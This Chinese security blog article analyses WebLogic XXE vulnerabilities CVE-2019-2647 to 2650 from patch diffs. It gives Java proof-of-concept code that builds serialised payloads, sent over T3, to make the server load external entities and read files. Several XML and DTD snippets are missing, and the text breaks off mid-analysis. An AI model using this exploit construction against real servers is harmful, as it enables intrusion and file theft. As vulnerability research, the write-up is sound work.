请选择 进入手机版 | 继续访问电脑版
 找回密码
 立即注册

QQ登录

只需一步,快速开始

首页 安全 Web安全 查看内容

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

知道创宇 2019-5-2 21:05

@xxlegend在《Weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。

补丁分析,找到漏洞点

根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/),通过对比补丁,发现新补丁以下四处进行了setFeature操作:

应该就是对应的四个CVE了,其中[email protected]大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点

分析环境

  • Windows 10

  • WebLogic 10.3.6.0

  • Jdk160_29(WebLogic 10.3.6.0自带的JDK)

WsrmServerPayloadContext 漏洞点分析

WsrmServerPayloadContext修复后的代码如下:

package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }

        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...

            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);

            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();

                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }

           ...
        }}

可以看到进行了setFeature操作防止xxe攻击,而未打补丁之前是没有进行setFeature操作的

readExternal在反序列化对象时会被调用,与之对应的writeExternal在序列化对象时会被调用,看下writeExternal的逻辑:

var1就是this.formENdpt,注意var5.serialize可以传入三种类型的对象,var1.getEndptElement()返回的是Element对象,先尝试新建一个项目构造一下PoC:

结构如下

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工厂中获得DOM解析器                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //创建文档树模型对象                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }}

test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:

4

运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:

发现DOCTYPE无法被引入

我尝试了下面几种方法:

  • 在上面说到var5.serialize可以传入Document对象,测试了下,的确可以,但是如何使getEndptElement返回一个Document对象呢?

    • 尝试了自己创建一个EndpointReference类,修改getEndptElement返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package与原来的不同,所以失败了

    • 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...

  • 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar解压,将WsrmServerPayloadContext.class类删除,重新压缩为weblogic.Jar,然后新建一个项目,引入需要的Jar文件(modules和wlserver_10.3\server\lib中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class同样的包名,在其中新建WsrmServerPayloadContext.class类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。

    WsrmServerPayloadContext.class修改的内容如下:

  • 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始WsrmServerPayloadContext.class类同样的包名,然后进行修改,修改内容与第二种方式一样

    测试这种方式也是可行的,比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }}

查看下新生成的xxe十六进制:

DOCTYPE被写入了

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:

xxe

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):

%all;

运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:

%dtd;%send;居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。

尝试debug看下:

可以看到%dtd;%send;确实是被处理掉了

测试下正常的加载外部数据,my.dtd改为如下:

%all;

gen.xml为:


debug看下:

可以看到 邀请

分享到
文章点评